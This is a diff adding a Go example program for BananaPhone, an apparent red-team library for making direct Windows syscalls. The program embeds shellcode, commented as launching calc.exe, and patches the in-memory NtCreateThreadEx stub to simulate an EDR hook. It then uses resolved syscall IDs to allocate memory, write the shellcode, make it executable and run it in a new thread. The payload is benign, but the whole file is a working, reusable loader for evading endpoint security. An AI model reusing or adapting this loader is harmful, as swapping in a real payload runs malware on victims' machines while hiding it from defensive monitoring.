| 1 | + | package main |
| 2 | + | |
| 3 | + | import ( |
| 4 | + | "fmt" |
| 5 | + | "syscall" |
| 6 | + | "unsafe" |
| 7 | + | |
| 8 | + | bananaphone "github.com/C-Sto/BananaPhone/pkg/BananaPhone" |
| 9 | + | "golang.org/x/sys/windows" |
| 10 | + | ) |
| 11 | + | |
| 12 | + | var shellcode = []byte{ |
| 13 | + | //calc.exe https://github.com/peterferrie/win-exec-calc-shellcode |
| 14 | + | 0x31, 0xc0, 0x50, 0x68, 0x63, 0x61, 0x6c, 0x63, |
| 15 | + | 0x54, 0x59, 0x50, 0x40, 0x92, 0x74, 0x15, 0x51, |
| 16 | + | 0x64, 0x8b, 0x72, 0x2f, 0x8b, 0x76, 0x0c, 0x8b, |
| 17 | + | 0x76, 0x0c, 0xad, 0x8b, 0x30, 0x8b, 0x7e, 0x18, |
| 18 | + | 0xb2, 0x50, 0xeb, 0x1a, 0xb2, 0x60, 0x48, 0x29, |
| 19 | + | 0xd4, 0x65, 0x48, 0x8b, 0x32, 0x48, 0x8b, 0x76, |
| 20 | + | 0x18, 0x48, 0x8b, 0x76, 0x10, 0x48, 0xad, 0x48, |
| 21 | + | 0x8b, 0x30, 0x48, 0x8b, 0x7e, 0x30, 0x03, 0x57, |
| 22 | + | 0x3c, 0x8b, 0x5c, 0x17, 0x28, 0x8b, 0x74, 0x1f, |
| 23 | + | 0x20, 0x48, 0x01, 0xfe, 0x8b, 0x54, 0x1f, 0x24, |
| 24 | + | 0x0f, 0xb7, 0x2c, 0x17, 0x8d, 0x52, 0x02, 0xad, |
| 25 | + | 0x81, 0x3c, 0x07, 0x57, 0x69, 0x6e, 0x45, 0x75, |
| 26 | + | 0xef, 0x8b, 0x74, 0x1f, 0x1c, 0x48, 0x01, 0xfe, |
| 27 | + | 0x8b, 0x34, 0xae, 0x48, 0x01, 0xf7, 0x99, 0xff, |
| 28 | + | 0xd7, |
| 29 | + | } |
| 30 | + | |
| 31 | + | //example of using bananaphone to execute shellcode in the current thread. |
| 32 | + | func main() { |
| 33 | + | kernel32DLL := windows.NewLazySystemDLL("kernel32.dll") |
| 34 | + | VirtualProtectEx := kernel32DLL.NewProc("VirtualProtectEx") |
| 35 | + | |
| 36 | + | fmt.Println("Mess with the banana, die like the... banana?") //I found it easier to breakpoint the consolewrite function to mess with the in-memory ntdll to verify the auto-switch to disk works sanely than to try and live-patch it programatically. |
| 37 | + | bp, e := bananaphone.NewBananaPhone(bananaphone.AutoBananaPhoneMode) |
| 38 | + | if e != nil { |
| 39 | + | panic(e) |
| 40 | + | } |
| 41 | + | mess, e := bp.GetFuncPtr("NtCreateThreadEx") |
| 42 | + | fmt.Printf("%x\n", mess) |
| 43 | + | if e != nil { |
| 44 | + | panic(e) |
| 45 | + | } |
| 46 | + | oldProtect := windows.PAGE_EXECUTE_READ |
| 47 | + | _, _, errVirtualProtectEx := VirtualProtectEx.Call(uintptr(0xffffffffffffffff), uintptr(mess), uintptr(0x100), windows.PAGE_EXECUTE_READWRITE, uintptr(unsafe.Pointer(&oldProtect))) |
| 48 | + | if errVirtualProtectEx != nil && errVirtualProtectEx.Error() != "The operation completed successfully." { |
| 49 | + | fmt.Printf("[!] Error on VirtualProtect:", errVirtualProtectEx, "\n") |
| 50 | + | } |
| 51 | + | //overwrite in memory function bits to try and trigger bp to do smarts |
| 52 | + | bananaphone.WriteMemory([]byte{0x90, 0x90, 0x90, 0x90}, uintptr(mess)) |
| 53 | + | fmt.Println("Messed up the NTCreateThreadEx function, gl launching calc!") |
| 54 | + | //resolve the functions and extract the syscalls |
| 55 | + | alloc, e := bp.GetSysID("NtAllocateVirtualMemory") |
| 56 | + | if e != nil { |
| 57 | + | panic(e) |
| 58 | + | } |
| 59 | + | protect, e := bp.GetSysID("NtProtectVirtualMemory") |
| 60 | + | if e != nil { |
| 61 | + | panic(e) |
| 62 | + | } |
| 63 | + | createthread, e := bp.GetSysID("NtCreateThreadEx") |
| 64 | + | if e != nil { |
| 65 | + | panic(e) |
| 66 | + | } |
| 67 | + | fmt.Printf("You seem to have bypassed a hooked function... congrats (sys ID is: %d)", createthread) |
| 68 | + | |
| 69 | + | createThread(shellcode, uintptr(0xffffffffffffffff), alloc, protect, createthread) |
| 70 | + | } |
| 71 | + | |
| 72 | + | func createThread(shellcode []byte, handle uintptr, NtAllocateVirtualMemorySysid, NtProtectVirtualMemorySysid, NtCreateThreadExSysid uint16) { |
| 73 | + | |
| 74 | + | const ( |
| 75 | + | thisThread = uintptr(0xffffffffffffffff) //special macro that says 'use this thread/process' when provided as a handle. |
| 76 | + | memCommit = uintptr(0x00001000) |
| 77 | + | memreserve = uintptr(0x00002000) |
| 78 | + | ) |
| 79 | + | |
| 80 | + | var baseA uintptr |
| 81 | + | regionsize := uintptr(len(shellcode)) |
| 82 | + | r1, r := bananaphone.Syscall( |
| 83 | + | NtAllocateVirtualMemorySysid, //ntallocatevirtualmemory |
| 84 | + | handle, |
| 85 | + | uintptr(unsafe.Pointer(&baseA)), |
| 86 | + | 0, |
| 87 | + | uintptr(unsafe.Pointer(®ionsize)), |
| 88 | + | uintptr(memCommit|memreserve), |
| 89 | + | syscall.PAGE_READWRITE, |
| 90 | + | ) |
| 91 | + | if r != nil { |
| 92 | + | fmt.Printf("1 %s %x\n", r, r1) |
| 93 | + | return |
| 94 | + | } |
| 95 | + | //write memory |
| 96 | + | bananaphone.WriteMemory(shellcode, baseA) |
| 97 | + | |
| 98 | + | var oldprotect uintptr |
| 99 | + | r1, r = bananaphone.Syscall( |
| 100 | + | NtProtectVirtualMemorySysid, //NtProtectVirtualMemory |
| 101 | + | handle, |
| 102 | + | uintptr(unsafe.Pointer(&baseA)), |
| 103 | + | uintptr(unsafe.Pointer(®ionsize)), |
| 104 | + | syscall.PAGE_EXECUTE_READ, |
| 105 | + | uintptr(unsafe.Pointer(&oldprotect)), |
| 106 | + | ) |
| 107 | + | if r != nil { |
| 108 | + | fmt.Printf("1 %s %x\n", r, r1) |
| 109 | + | return |
| 110 | + | } |
| 111 | + | var hhosthread uintptr |
| 112 | + | r1, r = bananaphone.Syscall( |
| 113 | + | NtCreateThreadExSysid, //NtCreateThreadEx |
| 114 | + | uintptr(unsafe.Pointer(&hhosthread)), //hthread |
| 115 | + | 0x1FFFFF, //desiredaccess |
| 116 | + | 0, //objattributes |
| 117 | + | handle, //processhandle |
| 118 | + | baseA, //lpstartaddress |
| 119 | + | 0, //lpparam |
| 120 | + | uintptr(0), //createsuspended |
| 121 | + | 0, //zerobits |
| 122 | + | 0, //sizeofstackcommit |
| 123 | + | 0, //sizeofstackreserve |
| 124 | + | 0, //lpbytesbuffer |
| 125 | + | ) |
| 126 | + | syscall.WaitForSingleObject(syscall.Handle(hhosthread), 0xffffffff) |
| 127 | + | if r != nil { |
| 128 | + | fmt.Printf("1 %s %x\n", r, r1) |
| 129 | + | return |
| 130 | + | } |
| 131 | + | } |
| 132 | + | |